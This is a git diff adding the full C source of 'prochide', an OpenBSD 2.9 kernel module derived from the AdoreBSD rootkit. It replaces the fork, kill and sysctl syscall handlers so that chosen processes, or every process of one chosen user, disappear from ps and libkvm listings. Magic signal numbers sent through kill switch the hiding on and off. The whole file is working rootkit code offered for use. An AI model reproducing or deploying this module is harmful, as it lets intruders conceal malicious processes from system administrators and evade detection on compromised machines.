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-rw-r--r--prochide/prochide.c391
1 files changed, 391 insertions, 0 deletions
diff --git a/prochide/prochide.c b/prochide/prochide.c
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+++ b/prochide/prochide.c
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+/*
+ * prochide.c
+ *
+ * file: prochide.c
+ *
+ * process hiding LKM. Will hide any process
+ * from queries by libkvm functions such as
+ * those used by ps.c, etc.
+ *
+ * Credit goes to the openbsd source tree,
+ * bind, and bind's AdoreBSD from which i've
+ * cheated and learned from. Will add remainder
+ * of Adore functionality @ somepoint.
+ *
+ * Tested working under OpenBSD 2.9/x86
+ *
+ * 9-21-01
+ *
+ * mike@gravitino.net
+ */
+
+#include <sys/param.h>
+#include <sys/systm.h>
+#include <sys/conf.h>
+#include <sys/cdefs.h>
+#include <sys/proc.h>
+#include <sys/exec.h>
+#include <sys/lkm.h>
+#include <sys/syscall.h>
+#include <sys/mount.h>
+#include <sys/syscallargs.h>
+#include <sys/sysctl.h>
+#include <sys/ucred.h>
+
+/*
+ * some defs..
+ */
+#define HIDDEN_FLAG 0x1000000
+
+#define HIDEPID 0x400000
+#define SHOWPID 0x400001
+#define HIDEUID 0x400002
+#define SHOWUID 0x400003
+
+/*
+ * syscall ptrs
+ */
+static sy_call_t *p_fork ;
+static sy_call_t *p_rfork ;
+static sy_call_t *p_vfork ;
+static sy_call_t *p_kill ;
+static sy_call_t *p_sysctl;
+
+/*
+ * function prototypes
+ */
+static int is_pid_hidden (pid_t pid);
+static int hide_pid (pid_t pid);
+static int show_pid (pid_t pid);
+
+/*
+ * static int to hold uid to hide (only 1 supported @ this time)
+ */
+static int hidden_uid;
+
+/*
+ * miscellaneous LKM =D
+ */
+MOD_MISC("prochide");
+
+/*
+ * wrapper functions
+ */
+static int h_sys_fork (struct proc *p, void *uap, int *retval)
+{
+ pid_t pid;
+
+ pid = sys_fork(p, uap, retval);
+
+ if(pid > 0 && is_pid_hidden(p->p_pid))
+ {
+ hide_pid(pid);
+ }
+
+ return(pid);
+}
+
+static int h_sys_rfork(struct proc *p, void *uap, int *retval)
+{
+ pid_t pid;
+
+ pid = sys_rfork(p, uap, retval);
+
+ if(pid > 0 && is_pid_hidden(p->p_pid))
+ {
+ hide_pid(pid);
+ }
+
+ return(pid);
+}
+
+static int h_sys_vfork(struct proc *p, void *uap, int *retval)
+{
+ pid_t pid;
+
+ pid = sys_vfork(p, uap, retval);
+
+ if(pid > 0 && is_pid_hidden(p->p_pid))
+ {
+ hide_pid(pid);
+ }
+
+ return(pid);
+}
+
+/*
+ * is process hidden flag set?
+ */
+static int is_pid_hidden(pid_t pid)
+{
+ struct proc *p = NULL;
+
+ p = pfind(pid);
+ if(p == NULL)
+ {
+ return(0);
+ }
+
+ return ((p->p_flag & HIDDEN_FLAG) ? 1 : 0);
+}
+
+/*
+ * set process hidden flag
+ */
+static int hide_pid (pid_t pid)
+{
+ struct proc *p = NULL;
+
+ /*
+ * lookup process
+ */
+ p = pfind(pid);
+ if(p == NULL)
+ {
+ return(1);
+ }
+
+ /*
+ * is pid already hidden?
+ */
+ if(is_pid_hidden(pid))
+ {
+ return(0);
+ }
+
+ /*
+ * set hidden flag
+ */
+ p->p_flag ^= HIDDEN_FLAG;
+
+ return(0);
+}
+
+/*
+ * unset process hidden flag
+ */
+static int show_pid (pid_t pid)
+{
+ struct proc *p = NULL;
+
+ /*
+ * lookup process
+ */
+ p = pfind(pid);
+ if(p == NULL)
+ {
+ return(1);
+ }
+
+ /*
+ * is hidden flag already set?
+ */
+ if(!is_pid_hidden(pid))
+ {
+ return(0);
+ }
+
+ /*
+ * unset hidden flag
+ */
+ p->p_flag ^= HIDDEN_FLAG;
+
+ return(0);
+}
+
+/*
+ * hide/show processes & uid via kill syscall. see ph_cli.c
+ * for usage.
+ */
+static int h_sys_kill (struct proc *p, void *uap, int *retval)
+{
+ struct sys_kill_args *args = uap;
+ int ret;
+
+ if(SCARG(args, signum) == HIDEPID)
+ {
+ ret = hide_pid(SCARG(args, pid));
+ return(ret);
+ }
+
+ if(SCARG(args, signum) == SHOWPID)
+ {
+ ret = show_pid(SCARG(args, pid));
+ return(ret);
+ }
+
+ if(SCARG(args, signum) == HIDEUID)
+ {
+ hidden_uid = SCARG(args, pid);
+ return(0);
+ }
+
+ if(SCARG(args, signum) == SHOWUID)
+ {
+ hidden_uid = 0xCCCC;
+ return(0);
+ }
+
+ return sys_kill(p, uap, retval);
+}
+
+#define GETPROC() copyin(SCARG(args,old) + (idx * sizeof(kp)), &kp, sizeof(kp));
+
+/*
+ * copy elements in process list over
+ * element containing proc info to be
+ * hidden.
+ */
+static int overlap(void *uaddr, int cnt)
+{
+ struct kinfo_proc kp;
+ int idx;
+
+ for(idx=0; idx < cnt; ++idx)
+ {
+ copyin (uaddr + ((idx + 1) * sizeof(kp)), &kp, sizeof(kp));
+ copyout(&kp, uaddr + (idx * sizeof(kp)), sizeof(kp));
+ }
+}
+
+/*
+ * sysctl wrapper - process output from libkvm
+ * and remove processes that are hidden or processes
+ * that belong to a hidden user.
+ */
+static int h_sys_sysctl(struct proc *p, void *uap, int *retval)
+{
+ struct sys___sysctl_args *args = uap;
+ struct kinfo_proc kp;
+ struct pcred *pc;
+ size_t nproc;
+ size_t tsize;
+ int *mib ;
+ int ret ;
+ int idx ;
+ int offset;
+ int cuid = p->p_cred->p_ruid; // caller's real uid
+
+ // call function
+ ret = sys___sysctl(p, uap, retval);
+
+ mib = SCARG(args, name);
+
+ // process output - is process listing?
+ if(ret != -1 &&
+ mib[0] == CTL_KERN &&
+ mib[1] == KERN_PROC &&
+ SCARG(args, old) != NULL) // not size getting calls..
+ {
+ // get # of bytes comprising proc structs
+ copyin(SCARG(args, oldlenp), &nproc, sizeof(size_t));
+
+ // calc # of kinfo_proc structs
+ nproc /= sizeof(struct kinfo_proc);
+ tsize = nproc;
+
+ /*
+ * remove hidden structs from output
+ */
+ if(nproc > 0)
+ {
+ for(idx=0; idx < nproc; ++idx)
+ {
+ // copy idx into kp using macro
+ GETPROC();
+
+ /*
+ * show to hidden user but not to
+ * other users.. if no hidden user
+ * is set, show to nobody (unless
+ * their uid is 0xCCCC)
+ */
+ if((cuid != hidden_uid &&
+ is_pid_hidden(kp.kp_proc.p_pid)) ||
+ (cuid != hidden_uid &&
+ kp.kp_proc.p_cred->p_ruid == hidden_uid))
+ {
+ // overlap hidden pid data
+ overlap(SCARG(args,old) +
+ (idx * sizeof(kp)),
+ nproc - idx - 1);
+
+ // decrement size
+ --tsize;
+ --idx;
+ --nproc;
+ continue;
+ }
+ }
+
+ tsize *= sizeof(struct kinfo_proc);
+
+ // update len
+ copyout(&tsize, SCARG(args, oldlenp), sizeof(size_t));
+ }
+ }
+
+ return(ret);
+}
+
+/*
+ * module load handler
+ */
+static int prochide_load (struct lkm_table *lkmtp, int cmd)
+{
+ if(cmd == LKM_E_LOAD)
+ {
+ /*
+ * save syscall ptrs
+ */
+ p_fork = sysent[SYS_fork ].sy_call;
+ p_rfork = sysent[SYS_rfork ].sy_call;
+ p_vfork = sysent[SYS_vfork ].sy_call;
+ p_kill = sysent[SYS_kill ].sy_call;
+ p_sysctl = sysent[SYS___sysctl].sy_call;
+
+ /*
+ * replace w/ prochide wrapper functions
+ */
+ sysent[SYS_fork ].sy_call = h_sys_fork ;
+ sysent[SYS_rfork ].sy_call = h_sys_rfork ;
+ sysent[SYS_vfork ].sy_call = h_sys_vfork ;
+ sysent[SYS_kill ].sy_call = h_sys_kill ;
+ sysent[SYS___sysctl].sy_call = h_sys_sysctl;
+
+ /*
+ * initialize hidden userid
+ */
+ hidden_uid = 0xCCCC;
+ }
+
+ return(0);
+}
+
+/*
+ * module unload handler
+ */
+static int prochide_unload (struct lkm_table *lkmtp, int cmd)
+{
+ if(cmd == LKM_E_UNLOAD)
+ {
+ /*
+ * restore syscall ptrs
+ */
+ sysent[SYS_fork ].sy_call = p_fork ;
+ sysent[SYS_rfork ].sy_call = p_rfork ;
+ sysent[SYS_vfork ].sy_call = p_vfork ;
+ sysent[SYS_kill ].sy_call = p_kill ;
+ sysent[SYS___sysctl].sy_call = p_sysctl;
+ }
+
+ return(0);
+}
+
+/*
+ * entry point / cmd dispatcher
+ */
+int prochide_handler(struct lkm_table *lkmtp, int cmd, int ver)
+{
+ DISPATCH(lkmtp, cmd, ver, prochide_load, prochide_unload, lkm_nofunc)
+}